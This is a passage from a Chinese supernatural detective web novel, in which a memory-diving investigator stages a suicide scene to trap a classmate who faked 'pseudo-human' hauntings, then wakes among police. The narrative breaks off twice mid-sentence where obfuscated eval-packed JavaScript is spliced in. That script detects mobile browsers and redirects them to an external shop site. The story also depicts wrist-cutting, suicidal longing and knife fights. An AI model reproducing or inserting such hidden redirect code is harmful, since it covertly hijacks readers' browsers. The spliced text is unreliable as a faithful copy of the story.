“如同道白上所写,我会成为最后一名聆听者与传述者,一切都结束了。” “那你呢,你去哪?”幻忆师双手环抱膝盖,抬头望着那团白雾。 “我会回到雾与光的交界处。” 幻忆师忍不住伸手摸了摸浓雾:“那是你诞生的地方?” 浓雾缠上她的手指:“不,从来没有诞生,只有放逐,雾与光交织之处是我们的活墓。” “众王之王——” “众王之王会和我一起回去,回到我们的容身之处。” 沉默了一会,幻忆师问:“以后还会有枯败王朝吗?我的意思是,以后会像今天一样死人吗?” “他们没有死,”梅利埃格洛用力攥住手里的红光。 “事情远没有坏到那种程度。但众王之王终究会回来,人世间有祂的锚点,必定有愚昧之徒用生命为代价召请祂。” “我能在保持理智的前提下记住祂,我是祂的锚点?” 没有得到回答,幻忆师叹气:“请把我的记忆消除吧。” “我做得到,但不想做,你这具身体的主人应该也不希望我去做。重要的礼物会随着所有记忆一起消失,对人类来说,它的代价太沉重了。” “婉婷化作的模因抑制......”幻忆师喃喃地说。 直到最后一刻,婉婷以死亡为代价化作的模因抑制都在保护刘天怡。 但刘天怡还是死了。 幻忆师霍然站起来:“我有一场汇报要做,先走了。” 她曾对一个小委托人描述过被霸凌者变成霸凌者的全过程。 如果说婉婷之死是刘天怡的锈蚀之剑,那么她现在找到了手术刀,那把锋利到可以切除所有坏死组织,填充刘天怡灵魂腔隙的手术刀。 梅利埃格洛出现后,幻忆师实在是太放松了,以至于忽略了一件事——真正的刘天怡根本不会请求梅利埃格洛消除自己的记忆。 众王之王强制唤醒刘天怡被婉婷消除的记忆后,她看到整起事件的真相,联想起自己曾经的推论,一定会羞愧到无地自容。 刘天怡曾推理婉婷是包庇犯,她一度认为婉婷因内疚而自杀。 如今来看,这个推理结果包含刘天怡的私心。从表面上看,婉婷和她吵架后没去上学,一周后突然自杀。 站在外人的视角,圣诞节的争吵是自杀事件的导火索。 她内心中一直深藏着隐秘的恐惧,她害怕自己是导致婉婷自杀的凶手。所以才有了那番推理,她必须靠极富逻辑的推理来说服自己。 说服自己是世界上最难的事,她成功做到最难的事却迎来了真相。而真相让刘天怡如此痛苦,杀人的不是婉婷,婉婷竟然是她的保护者。 从她意识到自己是众王之王锚点的那一刻起,她就会被一种狂喜包围——她终于可以像婉婷一样,为了抵御自己抗拒的事物、为了保护自己所爱的一切,幸福且圆满地慷慨赴死。 她简直迫不及待地去死,像婉婷一样死去仿佛能弥补所有愧疚。进而替少年时的刘天怡原谅现在的自己,原谅这个成为霸凌者的自己。 幻忆师狂奔进综合楼,一把推开教室的门,沈教授站在讲台上静静等待她。 “呼、呼”幻忆师把气吐干净,再用鼻子缓缓吸气,让空气填充腹腔和胸膛。 催动刘天怡疲惫的身体极速奔跑让她肋下发疼,但也使她冷静下来。 枯败王朝被解决了,伪人的事还没解决,幻忆师不觉得刘天怡能成功自杀。 沈教授察觉到她的为难:“不着急,你可以回去继续准备,想做汇报随时呼唤我。” 幻忆师感激地点头,下楼梯进入储藏室。 她曾在储藏室中看到过一箱办公用品,那里面可能有她需要的东西,她抱着箱子一阵乱翻。 找到了,她满意地把东西藏进怀里,慢吞吞地走出综合楼,用一种饭后散步般的速度向刘天怡的寝室走去。 此时天已经黑了,校园内安静得只剩风声,幻忆师边走边回忆《恶意》的内容。 这部小说中凶手的少年时代和刘天怡有许多相似之处。 曾经有过被霸凌的经历;与从霸凌中拯救自己的同学成为好友;因各种原因抛弃好友加入霸凌团体。 在他们成年后,连最关键的一点都极为相似——他们让自己的好友死后身败名裂。 书里的凶手用连环诡计骗过警察和媒体,让世人以为他是被害人的影子写手,要将昔日好友的作品据为己有。 刘天怡死前在社交媒体上发布了一篇长文,将5年前的事件公之于众,并断言婉婷包庇过一名杀人犯。 诚然,刘天怡的做法是她为了说服自己而做出的努力,她需要大众的认可来躲避自己内心深处的恐惧。 婉婷如果泉下有知,可能也不在乎她这么做。但她对婉婷死后的名誉造成了实际伤害,和书里的凶手没有区别。 不过他们有完全不一样的地方,《恶意》中的凶手亲手杀死了自己的好友。 而刘天怡始终是婉婷的好友,婉婷甚至将自己以生命为代价得到的模因抑制托付给她。 当然,书中凶手的诡计失败了,正义的警官历经艰难险阻辛苦地戳破了他的阴谋,把清白还给被害人。 幻忆师发现了自己的视野盲区,她将关注点全放在凶手与被害人身上。 因为书里的人名都被替换成婉婷,所以她理所当然地认为这是婉婷与刘天怡间的纠葛。 婉婷与刘天怡的经历和被害人与凶手的经历又如此相似,以至于她忽略了那位警官,现在她有了关于警官的猜想。 幻忆师来到刘天怡的寝室,寝室内空无一人,她先进厕所拧开水龙头,再向任珊珊的桌子走去。 桌面上的东西几乎没动过地方,她拿起自拍杆,拽住黑色的伸缩杆,把这条细长的杆子一点点拉出来。 任珊珊的自拍杆很旧,伸缩杆相当难拉,刚拉出一点就卡住了,估计只有它的主人能驯服它。 不过这一点长度已经够了,幻忆师打开寝室的日光灯,对着光旋转手里的自拍杆。 在金属伸缩杆的最上端,她找到一道不明显的,胶带粘贴过的痕迹。 把自拍杆放回桌子上,刚才拉不动的伸缩杆突然不卡了,杆子从把手里甩出来,啪地一声打在笔筒上。幻忆师猜测,塑料水杯就是被这根自拍杆打翻的 她拿起桌子上的宽透明胶带,沿边缘轻轻摩挲着,找到胶带头后用指甲揭开,以免留下指纹。 对光观察,透明胶带压敏胶那面的最上方有一小片凌乱却清晰的痕迹,幻忆师把这块胶带剪下来小心保存。 她又撕下一块干净的胶带,把它紧紧粘在刘天怡的头发上,等了一会才揭下来。 两两对比,上面的痕迹十分相似,足以证明这卷胶带曾被用来粘过头发。 幻忆师刚进游戏时遇到的长发黑影不是伪人,无非是有人用自拍杆粘着一顶假发装神弄鬼罢了。 如此低级的装神弄鬼能成功,是因为沈教授的课和厕所中的传单共同虚构出伪人概念。 幻忆师一旦认为伪人是真的,当她再回想起黑影,想到黑影说话时的电音与延迟,必然会推测黑影是个伪人。 人们倾向于相信自己推理出的真相。这句曾被幻忆师用来引导黑哥脱离污染的概括性定论,原来早被别人用在她自己身上。 “伪人”这个概念如此可怕,因为它们是一群没有目的的纯恶意怪物。 当幻忆师知道伪人王悦为了模因抑制接近她时,伪人和不怀好意的人类没什么不同。 黑影是假的,伪人是假的,它们的存在是为了掩藏真实的东西。 厕所中传出了水满溢出的哗哗声,幻忆师握住桌子上那把钝钝的壁纸刀,把其余东西归还原位,转身走进厕所。 对着镜子换了几个角度观察,她把厕所和寝室的日光灯都关了,只剩下刘天怡桌子上的小台灯。 她从大衣里拿出那件储藏室箱子中找到的东西,攥着它踏入塑料桶,按照记忆中刘天怡的死亡现场摆好姿势,拿起壁纸刀对准手腕。 水面很快被染红了,幻忆师满意地闭上眼睛,她希望期盼中的人快点来杀刘天怡,别让她在冰冷的水里蹲太长时间。 很快,她听见了寝室门被打开的轻微响声,紧接着响起的是柔和的 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她刚刚看见来者手里的东西了,那是一把锋利的匕首。 厕所的地漏被堵住,水龙头还在不停地工作,地面上的水越积越多,两个人像是两只被困在黑暗水域的野兽。 实际上幻忆师已经没什么力气了,一整天的奔波消耗掉太多体力。 她能压制住这个人全靠身上浸满水的厚重冬衣,以及刘天怡略微比对方高的体格。 恍然间想起赵建宇说过的打架技巧,幻忆师猛然向后仰脖子。 她用额头狠狠撞击眼前的后脑勺,用力之大使她感觉到发缝处隐隐有血液流出来。 被她锁住的人惨叫一声,反抗的力度终于降低了。 “扔了!立刻!” 奇怪的是,来者听完这句话竟然不挣扎了,幻忆师不敢放轻力气,反而借此机会用双腿锁紧对方大腿,尽力模仿圆脸女生的地面技。 她感觉自己全身上下都在痛,额头磕破的地方格外疼,大臂和大腿肌肉是另一种用力过度的酸痛。 可她不敢懈怠,她的眼角已经养成自动观察事物的习惯,余光里闪烁着一点寒芒,那是匕首的刀尖。 怀里的人安静了几秒,突然像是被上了发条的人偶,僵硬地转动脖子,把脸转向幻忆师。 幻忆师笑出声:“果然是你。” 近在咫尺的是一张五官错位的脸,好像和之前见过的伪人不同,但幻忆师懒得仔细看。 她再次用额头撞击对方的脸,把最后的力量集中在腰部,如同弹簧般爆发。 几乎在电光火石间,她把伪人整个掀起来,同时松开钳制伪人双臂的手,一把夺走了对方的匕首。 伪人握匕首握得太紧,右手手套被一同扯下来。 幻忆师粗重地喘息着,按照计划好的轨迹翻滚到被她丢掉的壁纸刀旁,用身体压住刀。两把利器都在幻忆师手里,胜负已分。 “咳咳。”幻忆师呛了两口水,躺在地上把刀尖对准伪人,“现在我说什么你做什么。” 伪人无动于衷,从额头上那个似乎是嘴的器官里发出奇怪的声音:“还刀你、东西我-我。” 额角的血液淌过眉毛流进眼睛,幻忆师咬牙支撑身体,从地上爬起来,攥紧匕首逼近伪人:“任珊珊,别装了,把另一只手套也摘了。” “立刻摘了,否则我把刀捅进你脖子。” 任珊珊沉默两秒,摘掉手套,摆出一个投降的姿势靠近幻忆师。 幻忆师用那只没进血的眼睛看到了任珊珊连指节都绷紧的手,莫名地笑了一声。 任珊珊像是被她的笑声激怒了,大跨一步来抢匕首。 与此同时,幻忆师松开紧握匕首的双手,任由匕首在重力的作用下自由落体。 眨眼间,幻忆师迎上了任珊珊的双手,与她十指相扣。 高碳钢匕首堪堪落在瓷砖上,发出当啷一声脆响,宛如庆典前的乐章。 幻忆师的脸上传来一阵蚂蚁爬过的痒意,她知道自己猜对了,同时触碰双手果然是任珊珊超能力的发动条件。 她吃力地控制着自己和伪人一样错位的五官,对任珊珊裂开一个友善的笑容。 21. 真相 “你怎么可能知道我的超能力发动条件?谁告诉你的?”任珊珊额头上的嘴一张一合。 幻忆师好像没听见她的话,只顾着照镜子欣赏刘天怡的脸。 可能因为她突然接触任珊珊的双手,没给超能力充足的准备时间,她的五官呈现一种整齐又诡异的状态。 镜子里,她的眉毛和眼睛竖着排成一列,鼻子和嘴也排成一列,像是一副致敬毕加索的抽象派画作。 “你的超能力很有趣。”她和任珊珊开玩笑,“你看,我在伪装伪人大赛中得了第一名,虽然参赛者只有三个。” “三个?” “你把王悦忘了?”幻忆师欣赏够了,一脚把匕首踢远。 任珊珊没有一点要笑的样子,幻忆师并不在意。 她的嘴目前位于颧骨下方,她好奇地操控舌头舔了舔嘴角,尝到血液微甜的腥味和红印油苦涩的化学试剂味。 她后知后觉地想起自己一整天没吃饭,饥饿感瞬间涌上来。 保持十指相交的状态,幻忆师拉着任珊珊跌坐到地上,她实在是不想动了。 “谢谢你借我小说看,但刘天怡和婉婷并不是《恶意》的主角。” “或许对你来说这就是《恶意》,你在扮演那本《恶意》中唯一没被更改的‘我’,那位破案的警官,那位沉稳正义,带领读者观测凶手与被害人的局外人,那位在结局时侦破一切的俯视者。” 被讨厌的人肆意揣度让任珊珊勃然大怒,她两只分布极远的眼睛里冒出熊熊怒火:“这还不是《恶意》?是你杀了婉婷。” 幻忆师费解地看着她:“你为什么觉得刘天怡是杀死婉婷的凶手?” “刘天怡,一个被欺负后连告状都不敢的废物,她哪来的胆子把婉婷推下楼?” “你不是凶手?”任珊珊发出一声冷笑。 “小人,你这个以怨报德的小人!婉婷为了救被霸凌的你,主动变成和你一样的班级怪胎。你呢?你杀了她,你这种人不配有朋友!” “你看了手账本?还是王悦全告诉你了?” 任珊珊不回答问题,只是继续输出怒火:“你是没胆子把婉婷推下楼,你有胆子用过生日的名义道德绑架她,强迫她陪你去讨好那些人。” “你还有胆子发那种歪曲事实的微博给自己洗白。即使她是自杀,你也永远是那个凶手!” 她对事情的了解实在是太全面了,幻忆师有些惊讶:“圣诞节贺卡里的那张信纸在你手里?你认识婉婷吗?” “我不认识婉婷。”任珊珊的怒意变成森冷的恨意,“我多希望能认识她,我希望当自己被你霸凌时,能有个像婉婷一样的人来救我。” “真是不可思议,你竟然还好意思活着,还说什么你相信世界上有鬼。” “世界上如果真的有鬼,你有脸去见婉婷吗?你敢和婉婷讲讲你在大学里做什么吗?” “刘天怡给王悦发信息说自己看见了婉婷,也是你在装神弄鬼?”幻忆师很快否定这个猜测,“不对,你的超能力只能控制五官。” 幻忆师沉吟片刻,得出结论:“刘天怡把快递包裹给王悦,让王悦等收派员上门取件,你就是那个收派员。” 快递单的背面写着刘天怡的遗言,正面收派员那栏有被涂黑的伪人二字。 一般来说,这种纸质快递单一式两联,刘天怡藏在包裹夹层的是寄件人存根联,收派员手里有另一联。 所以任珊珊就是那位伪人收派员,她知道存根联上的遗言。 王悦说刘天怡5天前把快递包裹给她,看来刘天怡被伪人持续不断地恐吓很久,久到放弃挣扎,甚至相信伪人能把包裹送给早已死去的婉婷。 任珊珊狐疑地看着幻忆师:“你连这个都忘了?是你求我帮你送件的。” “真奇怪,你之前明明蠢得要命,对伪人的存在深信不疑。今天仿佛变了个人,自杀都能装得像模像样,难道前几天都是演的?你和婉婷做朋友时也这么能演吗?” “哦对,你那不叫做朋友,你那是装朋友。” 恶毒的快意爬上任珊珊错位的五官,幻忆师实在没什么想为刘天怡辩解的,她只是平静地说:“事情不是你想的那样。” “那是怎样?” 没必要把事情的真相告诉任珊珊,但任珊珊知道太多幻忆师想知道的事,她耐心地套话:“你不好奇我为什么不受枯败王朝的影响?” “和我有什么关系?” “你不好奇是因为你知道答案,因为你也不受枯败王朝的影响。” 任珊珊一言不发。 “你很想知道是谁告诉我你的超能力发动条件?” 嘴巴在额头上有一个优点,方便幻忆师观察。她看见任珊珊抿了抿嘴唇,这是一种紧张不安的肢体动作,说明任珊珊心目中有告密者人选。 幻忆师继续用谎话激怒任珊珊:“看来你有答案了,你不好奇告密的原因?” “为什么?”任珊珊没有生气,她身上只有森然的恨意,对刘天怡和告密者的恨意,“我死也要死明白,为什么告诉你这些?” “因为你是一个连吓人这种小事都做不好的傻子。”幻忆师发出真实的嘲笑声,“我在综合楼厕所里就开始怀疑你。” 其实并没有怀疑她,幻忆师那时确实被吓到了,但激怒任珊珊需要这么说: “你觉得自己演得很好?简直漏洞百出。最可笑的是,刘天怡都准备自杀了,你居然还来杀她。” 故意频繁地用第三人称的刘天怡代替第一人称的我,幻忆师卖个破绽测试任珊珊是否能联想到夺舍。 如果能立刻想到刘天怡被夺舍,那么任珊珊很可能认识那个夺舍婉婷的修女。 幻忆师一直认为王悦的身体里装的是修女,修女杀死婉婷后没有得到想要的东西,才会再次找上刘天怡。 可惜的是,任珊珊对此没有反应,她似乎只觉得刘天怡变聪明了,也可能不是变聪明了,而是刘天怡被可恶的告密者告知了不该知道的东西。 “你觉得你配自杀!”任珊珊这句话是喊出来的,她的愤怒使一个问句变成感叹句,幻忆师成功激怒她。 “你竟然觉得自己配得上自杀?太不可思议了,世界上怎么会有你这样的人?” “我告诉你,你只配被人杀死,或者被鬼杀死。如果世上有鬼的话,婉婷会化作厉鬼亲自杀了你。” 任珊珊强烈的愤怒并不能影响幻忆师,或者说她需要任珊珊保持这个状态:“但你看,我不用死。我觉得自己不用死,你的合作者也觉得我不用死,该死的人是你。” “我早知道他不值得信任,他是那样的人。”任珊珊的怒意转化为奇怪的恐惧,“我拿剧本的时候就想到的,我明明留了退路。” 果然,从储藏室里把枯败王朝拿走并撕下道白的人是任珊珊,她一定知道更多。 得从她嘴里问出放保险箱的李老师和找模因抑制的王悦都是谁,如果能问出沈教授的身份就更好了。 “你留退路的时候没想过我会看到吗?正是因为这种自以为是的小聪明,你能把一切事情都搞砸,你的合作者才会放弃你。” 幻忆师不会告诉她真相,更不会告诉她模因抑制相关的一切,只会误导她,让她以为刘天怡看到道白才免于污染。 任珊珊嘲讽道:“你以为剑侠不会放弃你?你连超能力都没有,他为什么告诉你这么多?我都答应帮他拿东西了,他什么也没告诉我,我没能——” 这句话戛然而止,任珊珊像是意识到不对劲,她喃喃地重复道:“你没有超能力......” 任珊珊脸上的五官更加扭曲恐怖了,她死死盯着幻忆师:“你诈我?” “诈你?我用得着诈你?”幻忆师面不改色,“他们都放弃你了,你现在像条砧板上的鱼。” “你果然在诈我。”任珊珊脸色铁青,她反而冷静下来,“你到底怎么知道我的超能力发动条件?” 无法继续欺骗任珊珊,幻忆师决定换个方式问话:“我可以告诉你,但你要回答我的问题,用答案换答案,这很公平吧?” “一点都不公平,我让你知道这么多,你先回答我的问题。” 这倒没什么不能回答的,幻忆师不愿让谈话陷入僵局。 虽然不能告诉任珊珊事情的全貌,但关于她本人的部分可以透露一点:“是你告诉我的,就在寝室门口。” “我告诉你什么了?” “我不小心踩到你,把你撞倒了。当时我双手握住你的左手,想把你从地上拉起来。你下意识地伸出右手想一起使力,却立刻把手缩回去,好像在忌讳什么。” “就因为这个?你以为你是推理小说主角?”任珊珊不愿相信。 “不全是,我先得到了伪人是假的,你在装神弄鬼的结论。拿结果反推出你有相关的超能力,再根据细节寻找你的超能力发动条件。 “你穿着一件少见的半掌袖运动衫,是为了保护手掌,可以推理出发动条件和手有关。” “即使袖子把手掌裹得很严实,你也忌讳双手同时碰到我的两只手,可以推理出两只手同时触碰能力才会生效。” 任珊珊这回信了,她又有新的疑惑:“你怎么突然发现伪人是假的?你之前怕伪人怕得想死。” “先回答我的问题,剑侠是现在的王悦吧,他为什么能以王悦的身份出现,你的合作者除了剑侠还有谁?” 剑侠听上去和修女没有任何联系,但5年时间过去了,超能力罪犯改个代号再正常不过。 “这是两个问题。”任珊珊不痛快地说,“让我回答哪个?” “先回答第一个,剑侠为什么能以王悦的身份出现?” “剑侠就是王悦,王悦就是剑侠。” “那你为什么叫她剑侠,不叫她王悦?” “你又问了一个问题,我拒绝回答。”任珊珊冷漠地说。 幻忆师报以冷笑:“我问这个问题还不是因为你的回答毫无用处。你以为这是废话文学啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077344|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也能这么回答你,我怎么发现伪人是假的?推理过程长话短说但是说来话长,情况就是这么个情况。” 任珊珊坐在水里漠然看着幻忆师,两人十指相交,以很亲密的姿势连接在一起,却互相怀疑、敌视乃至憎恨着。 “你不会不知道吧?”幻忆师突然问,这不是想激怒任珊珊,因为她在自问自答。 “你就是不知道,你连我怎么知道伪人是假的都不清楚,怎么可能知道剑侠的身份?” 任珊珊还是不说话,幻忆师自顾自地推理。 “剑侠从头到尾都没把你当成平等的合作者。” “他让你装成伪人吓唬刘天怡,让你拿枯败王朝给话剧社,却不告诉你他的目的,他是不是还向你保证杀死刘天怡?” 厕所里响起轻微的水声,似乎是任珊珊的腿动了动。 “他甚至不告诉你枯败王朝的危险性,只告诉你拿到一份剧本,阅读完毕后送去话剧社。” “恐怕他也不能确定保险箱里的短期记忆删除剂是有效的,所以才需要你去冒险。” “你知道为什么要读完剧本吗?明明把剧本直接送去能省下注射药剂的环节,剑侠自己可以完成,根本不需要你来代劳。” 任珊珊的手指握紧幻忆师的手背。 “我来告诉你真相,你读完剧本,知道众王之王,就会成为众王之王在人世间的锚,枯败王朝被你阅读才能被你传播。” “这是剑侠无论如何都不会告诉你的真相,但你还算敏锐。你察觉到自己被置于危险之中,不再信任剑侠,才在架子下藏了那段道白,把它当成一条退路。你是怎么知道那段道白有用的?” “是剑侠给你的任务之一吧,他如果想达成目的,必须免受污染。” “那段道白对看过听过见过枯败王朝的人没用,但对没看过的人有用,宛如一个预防针。剑侠让你把这段单独拿出来给他看,以此获得免疫的能力。” “你说什么?”任珊珊睁大眼睛,“道白只对没看过枯败王朝的人有效?” “对,看来剑侠在这一点上又骗了你。” 任珊珊不服气:“我怎么知道是不是你在骗我?” “当你问出这句话时,你已经知道我没骗你,骗你的是剑侠。” “你不会以为剑侠说什么我信什么吧?”任珊珊阴阳怪气地问,“你和婉婷的事全是我通过手账本和王悦的描述推理出来的。” “所以王悦不是剑侠,王悦就是王悦,是刘天怡和赵婉婷的初中同学。剑侠怎么用王悦的身份?他有相关的超能力吗?” “我为什么要告诉你?”任珊珊反问。 “你不是不告诉我,你是不知道。”幻忆师叹气。 “你以为自己是破案的侦探,是俯视一切的局外者。实际上你只是剑侠手里的一把剑,一把用来传播枯败王朝的杀人剑。” “剑侠是不是答应你杀死我?但你看,我现在活得好好的。”幻忆师怜悯地看着任珊珊,“说句实话,你有点好骗,先被剑侠骗,再被我诈。” “不是,你猜错了。”任珊珊古怪地笑了,“剑侠想帮我杀死你,我拒绝了,我要亲自来杀你。” “你怎么......唉,算了。” “剑侠哪是要帮你杀我,他是看出我要自杀,不想你节外生枝。” 任珊珊固执地说:“不,杀死你对我很重要。” 幻忆师不想再和任珊珊多说一句话,她松开两人紧扣的手指,顺势往地上一躺,激起一片水花。 冰冷的水没过她的耳朵,打湿她的脸颊,她闭上眼睛。 “我要进行死因汇报,死因是他杀。” “刘天怡自杀过程中被任珊珊杀死。” “汇报完毕。” 拍打在脸上的冷水、酸痛饥饿的身体全部离幻忆师远去,她出现在诞江师范大学的操场上,看见刘天怡和任珊珊并肩站在一起看街舞社招新。 她们穿着军训的绿色作训服,明显刚入学没多久,两个人的关系似乎没之后那么差,正凑在一起小声谈笑。 人们把一个男大学生围在中间看他跳高难度街舞,男学生双手撑地,表演一个托马斯大回旋。 他换手时没用对力气,狠狠地摔在地上,手腕发出咯嘣一声脆响。 任珊珊短促的尖叫和刘天怡细细的轻笑同时响起。 刘天怡用惊喜又怀念的目光看着任珊珊,像是一只瞄准猎物的隼,任珊珊不知所措地回望着隼,像是一只受惊的猎物。 一小张马卡龙色纸片被秋天清冽的风吹进幻忆师手里,她认出这是刘天怡给任珊珊用来包书皮的封面纸。 下一秒,由蓝粉绿黄组成的马卡龙色在她眼前延展开来。 她看到无数绚烂的图案瞬息万变,以不可思议的方式排列组合,如同宇宙中迷蒙的星云。那些图案旋转着飞舞着堆彻在一起,像是在邀请她融入由几何组成的漩涡。 幻忆师头也不回地踏入了这个万花筒般的世界。 22. 拉屎布偶 陈影笙是被一道利箭般穿透眼睑的强光照醒的。 光线像是轰鸣的号角直击她的感官,她的眼皮在这样的刺激下不由自主地抽动了几下,仿佛是身体在自发地逃避这份突如其来的侵扰。 随着眼皮的颤动加剧,她开始从绚烂的万花筒中挣扎着向上游,意识逐渐从斑斓变换的几何图形中浮起。 当她的眼睛终于无法承受那份压力,猛地睁开时,强光如洪流般涌入,瞬间填满了整个视觉世界,带来一阵短暂的眩晕。 她举起手,试图遮挡这过于耀眼的光芒。她的眼睛眯成了一条细缝,慢慢地适应着周围环境的剧烈变化。 等她看清了情况,发现刚刚是老王举着手电在照她紧闭的眼睛。陈影笙默默盯着老王看了一会,好像才被强光拉回现实,找回被封存的记忆。 她问:“那三个人醒了吗?” 老王关闭手电筒:“都醒了,被送去安定医院做后续检查。” “这次的万花筒有录屏吗?” “有录屏,我们也有记忆,你破解得很成功。” 陈影笙立刻问:“那婉婷的——” 什么声音都发不出来,模因抑制四个字像是违禁词,她的唇齿间被一道敕令锁住了,舌头笔直地僵在原处,动弹不得。 “你是说婉婷留下的‘东西’吗?我们联系了研究超能力的专家,专家也不知道,只能判断是‘东西’阻止了传染性精神病扩散。” 陈影笙又尝试说出枯败王朝、众王之王和梅利埃格洛,这些词语全部被锁在她的舌尖,连一个气音都发不出来。 陈影笙只能猜测是梅利埃格洛把众王之王接回雾与光交织之处,然后消除了所有人的记忆。 或者换个说法,梅利埃格洛是模因抑制的概念本身,没人能记得祂来过,也没人能记得祂带走的东西——除了陈影笙。 “你感觉怎么样?这次从万花筒苏醒的时间比上次长。”王锐斌担忧地问。 老王总是这么爱操心。 能熟到私下叫他老王,因为王锐斌是陈影笙已故父亲陈途的好友,论辈分应该喊王叔叔。 但二人不仅有这份叔侄情谊,还有工作上的交情,叫王叔叔太生涩,叫老王更亲近。 陈途在世时是位破案如神/的名侦探,被称为伯劳,可惜他9年前因胰腺癌去世,享年46岁。 那时陈影笙正在高考,连他的遗体都没见到。 这次的万花筒后劲比上一个大,陈影笙眼前一直停留着彩色光斑。 下意识揉了揉发缝处,没有刺痛,也没有血迹,陈影笙确信自己回到现实。 她后知后觉地发现室内有好几个认识的或不认识的刑警,她甚至在一个陌生男警察的膝盖上看见了自家猫。 陈影笙问:“现在几点了?” 她预约的今天给猫洗澡,如果时间不晚,还来得及把猫送过去。 趴在人家膝盖上熟睡的猫听见主人的声音,激动地睁开眼睛跳到地上,嗲嗲地叫着小跑过来。 被猫当成窝的年轻警察站起来解释: “十点了,你的猫在车里不停地叫,街对过摊煎饼果子的老板以为它被虐待了,我们只能把它先放出来......你没事吧?” 陈影笙从万花筒上下来摸猫,脚刚沾地,腿就像煮烂的面条一样软绵绵地滑到地上。 原来不是上午十点,是晚上十点,游戏里的饥饿是真的,她一整天没吃饭了。 陈影笙顶着耳鸣细微的嗡嗡声,镇定地伸手找猫。 直到她的嘴里被塞进一颗巧克力,甜腻的味道在口腔中迅速化开,带来一丝生命的活力。 几分钟后,她感觉眼前的景象逐渐清晰,力量缓缓回到四肢,虽然仍有些虚弱,但耳鸣声消失了。 喂她巧克力的是李颖,她礼貌地说:“谢谢。” “不客气,应该的,你帮我们解决了好几个大麻烦。”李颖爽朗地笑了。 然后利索地单手把她拽起来:“去外面会议室,有给你留的饭。” 猫被年轻男警察抱在怀里,一群人鱼贯而出。 陈影笙还在问:“抓住任珊珊了吗,狂徒也能确认身份吧,他是Agape的成员吗?” 老王推着她往前走:“先吃饭,你刚才都低血糖了,是不是早饭又没吃?” 确实没吃,她现在饿得能生啃桌子。陈影笙从善如流地来到会议室,抱着饭盒大口吃饭。 老王坐一旁唠叨:“早知道这么长时间,我就该先问你吃没吃早饭。你这个毛病和老陈一样,明明街对过就有煎饼果子摊,宁愿饿着也不......” 老王这个唠叨劲和他的外表太不相符,陈影笙边吃边想笑。 王锐斌年过半百,却一点没有要退居二线的意思。 他壮得像头青牛,锃亮的光头上有道明显的疤,据他所说疤是十几年前一个能把身体变成刀刃的超能力罪犯留下的。 光头下是粗密的眉毛和眼神锐利的眼睛——普通的小贼八百里开外被他看一眼就会被吓到动弹不得。 咬下一大块鸡腿肉,陈影笙环顾四周,观察会议室里忙碌于手头事务的警察们,发现今天在场的诸位都是能把小贼吓得不会逃跑的狠人,至少从外表上看是这样。 就拿那位被她的猫粘住的年轻警察举例,他刚才坐着时看不出来,现在他站起来,陈影笙才发现他身高超过一米九,体格不比老王差。 他笔直地立在桌前,投下一片阴影,很有压迫感,却长了一张过于人畜无害的脸,看起来单纯善良又好骗,怪不得猫喜欢他。 不过他如果真的单纯好骗,估计今天也不会出现在这里。 鸡腿已经被她啃干净了,老王还在唠叨:“说过多少次要好好吃饭,你妈妈走得早,老陈也不在了,你得好好照顾自己......” 李颖先受不了:“老王,别说了,先让人家吃饭。” 咽下最后一口肉,灌下去半瓶水,陈影笙仔细拿纸巾擦了擦嘴:“谢谢,我吃好了,所以任珊珊被抓了?我能见见她吗?” “我们已经锁定嫌疑人任珊珊,但抓捕她审讯她都是警方的事。”李队长有些生硬地说。 就是抓了也不能把细节告诉她的意思,陈影笙早已习惯超管部的严谨作风,她心领神会地点头。 陈影笙想继续问关于万花筒的事,却被一声猫叫打断了。 她的猫顺着年轻男警察的裤子爬到肩上,还企图舔人家头发。 陈影笙沉默了两秒,干巴巴地对男警察说:“看来它很喜欢你。” “它叫什么名字?”男警察并不阻止猫。 “拉屎布偶。” 这次换男警察沉默了:“什么布偶?它不是布偶猫吧。” 猫确实不是布偶猫,只是普通的奶牛猫。 它有一双琥珀色的眼睛,脸上有一块凸字形白色区域,胸前的毛和爪子毛是白色的,其余毛发都是黑色,好像穿着件燕尾服。 “我是说它的名字,拉屎布偶。” 会议室里好几个人忍不住笑出声。 “你的取名方式很独特。”男警察委婉地夸赞,“我是左絮飞,今年刚转业。” 一位刚转业就能进刑侦队的年轻警察,陈影笙有些意外。 老王陆续给她介绍了另外几位警察,没一会,几人接了电话打个招呼走了。 陈影笙很在意万花筒:“万花筒的发明者是谁?游戏过程和推理结果能作为证据被法院认可吗?” 进入刘天怡的万花筒前,李颖告诉她发明万花筒的是诞江大学的一位教授。 李颖回答:“万花筒是独创技术,目前只供我们内部使用,相关的信息都是保密的。” 老王哈哈一笑,“小陈你也是诞江大学毕业的,说不定认识那位教授,你就别问了。” 诞江大学是陈影笙的母校,不过她学的是应用数学,和这种机器扯不上半点关系。 “这个案子里伪人是假的,但伪人游戏致死是真的吧。”陈影笙看着猫,语气平缓地问。 “为什么这么问?”左絮飞把拉屎布偶从肩上摘下来放在桌子上,“那只是网上在胡说八道。” 陈影笙理解地笑了笑,她相当清楚警察们为什么不把案件的全貌告诉她。 通过以前做外援侦探的经验,她明白自己的作用只是给警方提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097272|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供万花筒方面的帮助。 如果想把整起案卷给她看,案件负责人必然要先逐级向上打报告。 